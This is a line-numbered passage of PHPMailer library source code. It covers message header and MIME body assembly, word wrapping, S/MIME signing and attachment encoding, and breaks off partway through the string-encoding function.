  9280. 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  9281. 'data_not_accepted' => 'SMTP Error: data not accepted.',
  9282. 'empty_message' => 'Message body empty',
  9283. 'encoding' => 'Unknown encoding: ',
  9284. 'execute' => 'Could not execute: ',
  9285. 'file_access' => 'Could not access file: ',
  9286. 'file_open' => 'File Error: Could not open file: ',
  9287. 'from_failed' => 'The following From address failed: ',
  9288. 'instantiate' => 'Could not instantiate mail function.',
  9289. 'invalid_address' => 'Invalid address',
  9290. 'mailer_not_supported' => ' mailer is not supported.',
  9291. 'provide_address' => 'You must provide at least one recipient email address.',
  9292. 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  9293. 'signing' => 'Signing Error: ',
  9294. 'smtp_connect_failed' => 'SMTP connect() failed.',
  9295. 'smtp_error' => 'SMTP server error: ',
  9296. 'variable_set' => 'Cannot set or reset variable: '
  9297. );
  9298. if (empty($lang_path)) {
  9299. // Calculate an absolute path so it can work if CWD is not here
  9300. $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  9301. }
  9302. $foundlang = true;
  9303. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  9304. if ($langcode != 'en') { // There is no English translation file
  9305. // Make sure language file path is readable
  9306. if (!is_readable($lang_file)) {
  9307. $foundlang = false;
  9308. } else {
  9309. // Overwrite language-specific strings.
  9310. // This way we'll never have missing translations.
  9311. $foundlang = include $lang_file;
  9312. }
  9313. }
  9314. $this->language = $PHPMAILER_LANG;
  9315. return (boolean)$foundlang; // Returns false if language not found
  9316. }
  9317.  
  9318. /**
  9319. * Get the array of strings for the current language.
  9320. * @return array
  9321. */
  9322. public function getTranslations()
  9323. {
  9324. return $this->language;
  9325. }
  9326.  
  9327. /**
  9328. * Create recipient headers.
  9329. * @access public
  9330. * @param string $type
  9331. * @param array $addr An array of recipient,
  9332. * where each recipient is a 2-element indexed array with element 0 containing an address
  9333. * and element 1 containing a name, like:
  9334. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  9335. * @return string
  9336. */
  9337. public function addrAppend($type, $addr)
  9338. {
  9339. $addresses = array();
  9340. foreach ($addr as $address) {
  9341. $addresses[] = $this->addrFormat($address);
  9342. }
  9343. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  9344. }
  9345.  
  9346. /**
  9347. * Format an address for use in a message header.
  9348. * @access public
  9349. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  9350. * like array('joe@example.com', 'Joe User')
  9351. * @return string
  9352. */
  9353. public function addrFormat($addr)
  9354. {
  9355. if (empty($addr[1])) { // No name provided
  9356. return $this->secureHeader($addr[0]);
  9357. } else {
  9358. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  9359. $addr[0]
  9360. ) . '>';
  9361. }
  9362. }
  9363.  
  9364. /**
  9365. * Word-wrap message.
  9366. * For use with mailers that do not automatically perform wrapping
  9367. * and for quoted-printable encoded messages.
  9368. * Original written by philippe.
  9369. * @param string $message The message to wrap
  9370. * @param integer $length The line length to wrap to
  9371. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  9372. * @access public
  9373. * @return string
  9374. */
  9375. public function wrapText($message, $length, $qp_mode = false)
  9376. {
  9377. $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  9378. // If utf-8 encoding is used, we will need to make sure we don't
  9379. // split multibyte characters when we wrap
  9380. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  9381. $lelen = strlen($this->LE);
  9382. $crlflen = strlen(self::CRLF);
  9383.  
  9384. $message = $this->fixEOL($message);
  9385. if (substr($message, -$lelen) == $this->LE) {
  9386. $message = substr($message, 0, -$lelen);
  9387. }
  9388.  
  9389. $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  9390. $message = '';
  9391. for ($i = 0; $i < count($line); $i++) {
  9392. $line_part = explode(' ', $line[$i]);
  9393. $buf = '';
  9394. for ($e = 0; $e < count($line_part); $e++) {
  9395. $word = $line_part[$e];
  9396. if ($qp_mode and (strlen($word) > $length)) {
  9397. $space_left = $length - strlen($buf) - $crlflen;
  9398. if ($e != 0) {
  9399. if ($space_left > 20) {
  9400. $len = $space_left;
  9401. if ($is_utf8) {
  9402. $len = $this->utf8CharBoundary($word, $len);
  9403. } elseif (substr($word, $len - 1, 1) == '=') {
  9404. $len--;
  9405. } elseif (substr($word, $len - 2, 1) == '=') {
  9406. $len -= 2;
  9407. }
  9408. $part = substr($word, 0, $len);
  9409. $word = substr($word, $len);
  9410. $buf .= ' ' . $part;
  9411. $message .= $buf . sprintf('=%s', self::CRLF);
  9412. } else {
  9413. $message .= $buf . $soft_break;
  9414. }
  9415. $buf = '';
  9416. }
  9417. while (strlen($word) > 0) {
  9418. if ($length <= 0) {
  9419. break;
  9420. }
  9421. $len = $length;
  9422. if ($is_utf8) {
  9423. $len = $this->utf8CharBoundary($word, $len);
  9424. } elseif (substr($word, $len - 1, 1) == '=') {
  9425. $len--;
  9426. } elseif (substr($word, $len - 2, 1) == '=') {
  9427. $len -= 2;
  9428. }
  9429. $part = substr($word, 0, $len);
  9430. $word = substr($word, $len);
  9431.  
  9432. if (strlen($word) > 0) {
  9433. $message .= $part . sprintf('=%s', self::CRLF);
  9434. } else {
  9435. $buf = $part;
  9436. }
  9437. }
  9438. } else {
  9439. $buf_o = $buf;
  9440. $buf .= ($e == 0) ? $word : (' ' . $word);
  9441.  
  9442. if (strlen($buf) > $length and $buf_o != '') {
  9443. $message .= $buf_o . $soft_break;
  9444. $buf = $word;
  9445. }
  9446. }
  9447. }
  9448. $message .= $buf . self::CRLF;
  9449. }
  9450.  
  9451. return $message;
  9452. }
  9453.  
  9454. /**
  9455. * Find the last character boundary prior to $maxLength in a utf-8
  9456. * quoted (printable) encoded string.
  9457. * Original written by Colin Brown.
  9458. * @access public
  9459. * @param string $encodedText utf-8 QP text
  9460. * @param integer $maxLength find last character boundary prior to this length
  9461. * @return integer
  9462. */
  9463. public function utf8CharBoundary($encodedText, $maxLength)
  9464. {
  9465. $foundSplitPos = false;
  9466. $lookBack = 3;
  9467. while (!$foundSplitPos) {
  9468. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  9469. $encodedCharPos = strpos($lastChunk, '=');
  9470. if (false !== $encodedCharPos) {
  9471. // Found start of encoded character byte within $lookBack block.
  9472. // Check the encoded byte value (the 2 chars after the '=')
  9473. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  9474. $dec = hexdec($hex);
  9475. if ($dec < 128) { // Single byte character.
  9476. // If the encoded char was found at pos 0, it will fit
  9477. // otherwise reduce maxLength to start of the encoded char
  9478. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  9479. $maxLength - ($lookBack - $encodedCharPos);
  9480. $foundSplitPos = true;
  9481. } elseif ($dec >= 192) { // First byte of a multi byte character
  9482. // Reduce maxLength to split at start of character
  9483. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  9484. $foundSplitPos = true;
  9485. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  9486. $lookBack += 3;
  9487. }
  9488. } else {
  9489. // No encoded character found
  9490. $foundSplitPos = true;
  9491. }
  9492. }
  9493. return $maxLength;
  9494. }
  9495.  
  9496. /**
  9497. * Set the body wrapping.
  9498. * @access public
  9499. * @return void
  9500. */
  9501. public function setWordWrap()
  9502. {
  9503. if ($this->WordWrap < 1) {
  9504. return;
  9505. }
  9506.  
  9507. switch ($this->message_type) {
  9508. case 'alt':
  9509. case 'alt_inline':
  9510. case 'alt_attach':
  9511. case 'alt_inline_attach':
  9512. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  9513. break;
  9514. default:
  9515. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  9516. break;
  9517. }
  9518. }
  9519.  
  9520. /**
  9521. * Assemble message headers.
  9522. * @access public
  9523. * @return string The assembled headers
  9524. */
  9525. public function createHeader()
  9526. {
  9527. $result = '';
  9528.  
  9529. // Set the boundaries
  9530. $uniq_id = md5(uniqid(time()));
  9531. $this->boundary[1] = 'b1_' . $uniq_id;
  9532. $this->boundary[2] = 'b2_' . $uniq_id;
  9533. $this->boundary[3] = 'b3_' . $uniq_id;
  9534.  
  9535. if ($this->MessageDate == '') {
  9536. $this->MessageDate = self::rfcDate();
  9537. }
  9538. $result .= $this->headerLine('Date', $this->MessageDate);
  9539.  
  9540.  
  9541. // To be created automatically by mail()
  9542. if ($this->SingleTo) {
  9543. if ($this->Mailer != 'mail') {
  9544. foreach ($this->to as $toaddr) {
  9545. $this->SingleToArray[] = $this->addrFormat($toaddr);
  9546. }
  9547. }
  9548. } else {
  9549. if (count($this->to) > 0) {
  9550. if ($this->Mailer != 'mail') {
  9551. $result .= $this->addrAppend('To', $this->to);
  9552. }
  9553. } elseif (count($this->cc) == 0) {
  9554. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  9555. }
  9556. }
  9557.  
  9558. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  9559.  
  9560. // sendmail and mail() extract Cc from the header before sending
  9561. if (count($this->cc) > 0) {
  9562. $result .= $this->addrAppend('Cc', $this->cc);
  9563. }
  9564.  
  9565. // sendmail and mail() extract Bcc from the header before sending
  9566. if ((
  9567. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  9568. )
  9569. and count($this->bcc) > 0
  9570. ) {
  9571. $result .= $this->addrAppend('Bcc', $this->bcc);
  9572. }
  9573.  
  9574. if (count($this->ReplyTo) > 0) {
  9575. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  9576. }
  9577.  
  9578. // mail() sets the subject itself
  9579. if ($this->Mailer != 'mail') {
  9580. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  9581. }
  9582.  
  9583. if ($this->MessageID != '') {
  9584. $this->lastMessageID = $this->MessageID;
  9585. } else {
  9586. $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  9587. }
  9588. $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  9589. $result .= $this->headerLine('X-Priority', $this->Priority);
  9590. if ($this->XMailer == '') {
  9591. $result .= $this->headerLine(
  9592. 'X-Mailer',
  9593. 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  9594. );
  9595. } else {
  9596. $myXmailer = trim($this->XMailer);
  9597. if ($myXmailer) {
  9598. $result .= $this->headerLine('X-Mailer', $myXmailer);
  9599. }
  9600. }
  9601.  
  9602. if ($this->ConfirmReadingTo != '') {
  9603. $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  9604. }
  9605.  
  9606. // Add custom headers
  9607. for ($index = 0; $index < count($this->CustomHeader); $index++) {
  9608. $result .= $this->headerLine(
  9609. trim($this->CustomHeader[$index][0]),
  9610. $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  9611. );
  9612. }
  9613. if (!$this->sign_key_file) {
  9614. $result .= $this->headerLine('MIME-Version', '1.0');
  9615. $result .= $this->getMailMIME();
  9616. }
  9617.  
  9618. return $result;
  9619. }
  9620.  
  9621. /**
  9622. * Get the message MIME type headers.
  9623. * @access public
  9624. * @return string
  9625. */
  9626. public function getMailMIME()
  9627. {
  9628. $result = '';
  9629. $ismultipart = true;
  9630. switch ($this->message_type) {
  9631. case 'inline':
  9632. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  9633. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  9634. break;
  9635. case 'attach':
  9636. case 'inline_attach':
  9637. case 'alt_attach':
  9638. case 'alt_inline_attach':
  9639. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  9640. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  9641. break;
  9642. case 'alt':
  9643. case 'alt_inline':
  9644. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  9645. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  9646. break;
  9647. default:
  9648. // Catches case 'plain': and case '':
  9649. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  9650. $ismultipart = false;
  9651. break;
  9652. }
  9653. // RFC1341 part 5 says 7bit is assumed if not specified
  9654. if ($this->Encoding != '7bit') {
  9655. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  9656. if ($ismultipart) {
  9657. if ($this->Encoding == '8bit') {
  9658. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  9659. }
  9660. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  9661. } else {
  9662. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  9663. }
  9664. }
  9665.  
  9666. if ($this->Mailer != 'mail') {
  9667. $result .= $this->LE;
  9668. }
  9669.  
  9670. return $result;
  9671. }
  9672.  
  9673. /**
  9674. * Returns the whole MIME message.
  9675. * Includes complete headers and body.
  9676. * Only valid post preSend().
  9677. * @see PHPMailer::preSend()
  9678. * @access public
  9679. * @return string
  9680. */
  9681. public function getSentMIMEMessage()
  9682. {
  9683. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  9684. }
  9685.  
  9686.  
  9687. /**
  9688. * Assemble the message body.
  9689. * Returns an empty string on failure.
  9690. * @access public
  9691. * @throws phpmailerException
  9692. * @return string The assembled message body
  9693. */
  9694. public function createBody()
  9695. {
  9696. $body = '';
  9697.  
  9698. if ($this->sign_key_file) {
  9699. $body .= $this->getMailMIME() . $this->LE;
  9700. }
  9701.  
  9702. $this->setWordWrap();
  9703.  
  9704. $bodyEncoding = $this->Encoding;
  9705. $bodyCharSet = $this->CharSet;
  9706. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  9707. $bodyEncoding = '7bit';
  9708. $bodyCharSet = 'us-ascii';
  9709. }
  9710. $altBodyEncoding = $this->Encoding;
  9711. $altBodyCharSet = $this->CharSet;
  9712. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  9713. $altBodyEncoding = '7bit';
  9714. $altBodyCharSet = 'us-ascii';
  9715. }
  9716. switch ($this->message_type) {
  9717. case 'inline':
  9718. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  9719. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9720. $body .= $this->LE . $this->LE;
  9721. $body .= $this->attachAll('inline', $this->boundary[1]);
  9722. break;
  9723. case 'attach':
  9724. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  9725. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9726. $body .= $this->LE . $this->LE;
  9727. $body .= $this->attachAll('attachment', $this->boundary[1]);
  9728. break;
  9729. case 'inline_attach':
  9730. $body .= $this->textLine('--' . $this->boundary[1]);
  9731. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  9732. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  9733. $body .= $this->LE;
  9734. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  9735. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9736. $body .= $this->LE . $this->LE;
  9737. $body .= $this->attachAll('inline', $this->boundary[2]);
  9738. $body .= $this->LE;
  9739. $body .= $this->attachAll('attachment', $this->boundary[1]);
  9740. break;
  9741. case 'alt':
  9742. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  9743. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  9744. $body .= $this->LE . $this->LE;
  9745. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  9746. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9747. $body .= $this->LE . $this->LE;
  9748. if (!empty($this->Ical)) {
  9749. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  9750. $body .= $this->encodeString($this->Ical, $this->Encoding);
  9751. $body .= $this->LE . $this->LE;
  9752. }
  9753. $body .= $this->endBoundary($this->boundary[1]);
  9754. break;
  9755. case 'alt_inline':
  9756. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  9757. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  9758. $body .= $this->LE . $this->LE;
  9759. $body .= $this->textLine('--' . $this->boundary[1]);
  9760. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  9761. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  9762. $body .= $this->LE;
  9763. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  9764. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9765. $body .= $this->LE . $this->LE;
  9766. $body .= $this->attachAll('inline', $this->boundary[2]);
  9767. $body .= $this->LE;
  9768. $body .= $this->endBoundary($this->boundary[1]);
  9769. break;
  9770. case 'alt_attach':
  9771. $body .= $this->textLine('--' . $this->boundary[1]);
  9772. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  9773. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  9774. $body .= $this->LE;
  9775. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  9776. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  9777. $body .= $this->LE . $this->LE;
  9778. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  9779. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9780. $body .= $this->LE . $this->LE;
  9781. $body .= $this->endBoundary($this->boundary[2]);
  9782. $body .= $this->LE;
  9783. $body .= $this->attachAll('attachment', $this->boundary[1]);
  9784. break;
  9785.  
  9786. case 'alt_inline_attach':
  9787. $body .= $this->textLine('--' . $this->boundary[1]);
  9788. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  9789. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  9790. $body .= $this->LE;
  9791. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  9792. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  9793. $body .= $this->LE . $this->LE;
  9794. $body .= $this->textLine('--' . $this->boundary[2]);
  9795. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  9796. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  9797. $body .= $this->LE;
  9798. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  9799. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9800. $body .= $this->LE . $this->LE;
  9801. $body .= $this->attachAll('inline', $this->boundary[3]);
  9802. $body .= $this->LE;
  9803. $body .= $this->endBoundary($this->boundary[2]);
  9804. $body .= $this->LE;
  9805. $body .= $this->attachAll('attachment', $this->boundary[1]);
  9806. break;
  9807. default:
  9808. // catch case 'plain' and case ''
  9809. $body .= $this->encodeString($this->Body, $bodyEncoding);
  9810. break;
  9811. }
  9812.  
  9813. if ($this->isError()) {
  9814. $body = '';
  9815. } elseif ($this->sign_key_file) {
  9816. try {
  9817. if (!defined('PKCS7_TEXT')) {
  9818. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  9819. }
  9820. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  9821. $file = tempnam(sys_get_temp_dir(), 'mail');
  9822. if (false === file_put_contents($file, $body)) {
  9823. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  9824. }
  9825. $signed = tempnam(sys_get_temp_dir(), 'signed');
  9826. if (@openssl_pkcs7_sign(
  9827. $file,
  9828. $signed,
  9829. 'file://' . realpath($this->sign_cert_file),
  9830. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  9831. null
  9832. )
  9833. ) {
  9834. @unlink($file);
  9835. $body = file_get_contents($signed);
  9836. @unlink($signed);
  9837. } else {
  9838. @unlink($file);
  9839. @unlink($signed);
  9840. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  9841. }
  9842. } catch (phpmailerException $exc) {
  9843. $body = '';
  9844. if ($this->exceptions) {
  9845. throw $exc;
  9846. }
  9847. }
  9848. }
  9849. return $body;
  9850. }
  9851.  
  9852. /**
  9853. * Return the start of a message boundary.
  9854. * @access protected
  9855. * @param string $boundary
  9856. * @param string $charSet
  9857. * @param string $contentType
  9858. * @param string $encoding
  9859. * @return string
  9860. */
  9861. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  9862. {
  9863. $result = '';
  9864. if ($charSet == '') {
  9865. $charSet = $this->CharSet;
  9866. }
  9867. if ($contentType == '') {
  9868. $contentType = $this->ContentType;
  9869. }
  9870. if ($encoding == '') {
  9871. $encoding = $this->Encoding;
  9872. }
  9873. $result .= $this->textLine('--' . $boundary);
  9874. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  9875. $result .= $this->LE;
  9876. // RFC1341 part 5 says 7bit is assumed if not specified
  9877. if ($encoding != '7bit') {
  9878. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  9879. }
  9880. $result .= $this->LE;
  9881.  
  9882. return $result;
  9883. }
  9884.  
  9885. /**
  9886. * Return the end of a message boundary.
  9887. * @access protected
  9888. * @param string $boundary
  9889. * @return string
  9890. */
  9891. protected function endBoundary($boundary)
  9892. {
  9893. return $this->LE . '--' . $boundary . '--' . $this->LE;
  9894. }
  9895.  
  9896. /**
  9897. * Set the message type.
  9898. * PHPMailer only supports some preset message types,
  9899. * not arbitrary MIME structures.
  9900. * @access protected
  9901. * @return void
  9902. */
  9903. protected function setMessageType()
  9904. {
  9905. $type = array();
  9906. if ($this->alternativeExists()) {
  9907. $type[] = 'alt';
  9908. }
  9909. if ($this->inlineImageExists()) {
  9910. $type[] = 'inline';
  9911. }
  9912. if ($this->attachmentExists()) {
  9913. $type[] = 'attach';
  9914. }
  9915. $this->message_type = implode('_', $type);
  9916. if ($this->message_type == '') {
  9917. $this->message_type = 'plain';
  9918. }
  9919. }
  9920.  
  9921. /**
  9922. * Format a header line.
  9923. * @access public
  9924. * @param string $name
  9925. * @param string $value
  9926. * @return string
  9927. */
  9928. public function headerLine($name, $value)
  9929. {
  9930. return $name . ': ' . $value . $this->LE;
  9931. }
  9932.  
  9933. /**
  9934. * Return a formatted mail line.
  9935. * @access public
  9936. * @param string $value
  9937. * @return string
  9938. */
  9939. public function textLine($value)
  9940. {
  9941. return $value . $this->LE;
  9942. }
  9943.  
  9944. /**
  9945. * Add an attachment from a path on the filesystem.
  9946. * Returns false if the file could not be found or read.
  9947. * @param string $path Path to the attachment.
  9948. * @param string $name Overrides the attachment name.
  9949. * @param string $encoding File encoding (see $Encoding).
  9950. * @param string $type File extension (MIME) type.
  9951. * @param string $disposition Disposition to use
  9952. * @throws phpmailerException
  9953. * @return boolean
  9954. */
  9955. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  9956. {
  9957. try {
  9958. if (!@is_file($path)) {
  9959. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  9960. }
  9961.  
  9962. // If a MIME type is not specified, try to work it out from the file name
  9963. if ($type == '') {
  9964. $type = self::filenameToType($path);
  9965. }
  9966.  
  9967. $filename = basename($path);
  9968. if ($name == '') {
  9969. $name = $filename;
  9970. }
  9971.  
  9972. $this->attachment[] = array(
  9973. 0 => $path,
  9974. 1 => $filename,
  9975. 2 => $name,
  9976. 3 => $encoding,
  9977. 4 => $type,
  9978. 5 => false, // isStringAttachment
  9979. 6 => $disposition,
  9980. 7 => 0
  9981. );
  9982.  
  9983. } catch (phpmailerException $exc) {
  9984. $this->setError($exc->getMessage());
  9985. $this->edebug($exc->getMessage());
  9986. if ($this->exceptions) {
  9987. throw $exc;
  9988. }
  9989. return false;
  9990. }
  9991. return true;
  9992. }
  9993.  
  9994. /**
  9995. * Return the array of attachments.
  9996. * @return array
  9997. */
  9998. public function getAttachments()
  9999. {
  10000. return $this->attachment;
  10001. }
  10002.  
  10003. /**
  10004. * Attach all file, string, and binary attachments to the message.
  10005. * Returns an empty string on failure.
  10006. * @access protected
  10007. * @param string $disposition_type
  10008. * @param string $boundary
  10009. * @return string
  10010. */
  10011. protected function attachAll($disposition_type, $boundary)
  10012. {
  10013. // Return text of body
  10014. $mime = array();
  10015. $cidUniq = array();
  10016. $incl = array();
  10017.  
  10018. // Add all attachments
  10019. foreach ($this->attachment as $attachment) {
  10020. // Check if it is a valid disposition_filter
  10021. if ($attachment[6] == $disposition_type) {
  10022. // Check for string attachment
  10023. $string = '';
  10024. $path = '';
  10025. $bString = $attachment[5];
  10026. if ($bString) {
  10027. $string = $attachment[0];
  10028. } else {
  10029. $path = $attachment[0];
  10030. }
  10031.  
  10032. $inclhash = md5(serialize($attachment));
  10033. if (in_array($inclhash, $incl)) {
  10034. continue;
  10035. }
  10036. $incl[] = $inclhash;
  10037. $name = $attachment[2];
  10038. $encoding = $attachment[3];
  10039. $type = $attachment[4];
  10040. $disposition = $attachment[6];
  10041. $cid = $attachment[7];
  10042. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  10043. continue;
  10044. }
  10045. $cidUniq[$cid] = true;
  10046.  
  10047. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  10048. $mime[] = sprintf(
  10049. 'Content-Type: %s; name="%s"%s',
  10050. $type,
  10051. $this->encodeHeader($this->secureHeader($name)),
  10052. $this->LE
  10053. );
  10054. // RFC1341 part 5 says 7bit is assumed if not specified
  10055. if ($encoding != '7bit') {
  10056. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  10057. }
  10058.  
  10059. if ($disposition == 'inline') {
  10060. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  10061. }
  10062.  
  10063. // If a filename contains any of these chars, it should be quoted,
  10064. // but not otherwise: RFC2183 & RFC2045 5.1
  10065. // Fixes a warning in IETF's msglint MIME checker
  10066. // Allow for bypassing the Content-Disposition header totally
  10067. if (!(empty($disposition))) {
  10068. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  10069. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  10070. $mime[] = sprintf(
  10071. 'Content-Disposition: %s; filename="%s"%s',
  10072. $disposition,
  10073. $encoded_name,
  10074. $this->LE . $this->LE
  10075. );
  10076. } else {
  10077. $mime[] = sprintf(
  10078. 'Content-Disposition: %s; filename=%s%s',
  10079. $disposition,
  10080. $encoded_name,
  10081. $this->LE . $this->LE
  10082. );
  10083. }
  10084. } else {
  10085. $mime[] = $this->LE;
  10086. }
  10087.  
  10088. // Encode as string attachment
  10089. if ($bString) {
  10090. $mime[] = $this->encodeString($string, $encoding);
  10091. if ($this->isError()) {
  10092. return '';
  10093. }
  10094. $mime[] = $this->LE . $this->LE;
  10095. } else {
  10096. $mime[] = $this->encodeFile($path, $encoding);
  10097. if ($this->isError()) {
  10098. return '';
  10099. }
  10100. $mime[] = $this->LE . $this->LE;
  10101. }
  10102. }
  10103. }
  10104.  
  10105. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  10106.  
  10107. return implode('', $mime);
  10108. }
  10109.  
  10110. /**
  10111. * Encode a file attachment in requested format.
  10112. * Returns an empty string on failure.
  10113. * @param string $path The full path to the file
  10114. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  10115. * @throws phpmailerException
  10116. * @see EncodeFile(encodeFile
  10117. * @access protected
  10118. * @return string
  10119. */
  10120. protected function encodeFile($path, $encoding = 'base64')
  10121. {
  10122. try {
  10123. if (!is_readable($path)) {
  10124. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  10125. }
  10126. $magic_quotes = get_magic_quotes_runtime();
  10127. if ($magic_quotes) {
  10128. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  10129. set_magic_quotes_runtime(false);
  10130. } else {
  10131. //Doesn't exist in PHP 5.4, but we don't need to check because
  10132. //get_magic_quotes_runtime always returns false in 5.4+
  10133. //so it will never get here
  10134. ini_set('magic_quotes_runtime', 0);
  10135. }
  10136. }
  10137. $file_buffer = file_get_contents($path);
  10138. $file_buffer = $this->encodeString($file_buffer, $encoding);
  10139. if ($magic_quotes) {
  10140. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  10141. set_magic_quotes_runtime($magic_quotes);
  10142. } else {
  10143. ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  10144. }
  10145. }
  10146. return $file_buffer;
  10147. } catch (Exception $exc) {
  10148. $this->setError($exc->getMessage());
  10149. return '';
  10150. }
  10151. }
  10152.  
  10153. /**
  10154. * Encode a string in requested format.
  10155. * Returns an empty string on failure.
  10156. * @param string $str The text to encode
  10157. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  10158. * @access public
  10159. * @return string
  10160. */
  10161. public function encodeString($str, $encoding = 'base64')
  10162. {
  10163. $encoded = '';
  10164. switch (strtolower($encoding)) {
  10165. case 'base64':
  10166. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  10167. break;
  10168. case '7bit':
  10169. case '8bit':
  10170. $encoded = $this->fixEOL($str);
  10171. // Make sure it ends with a line break
  10172. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  10173. $encoded .= $this->LE;
  10174. }
  10175. break;
  10176. case 'binary':
  10177. $encoded = $str;
  10178. break;
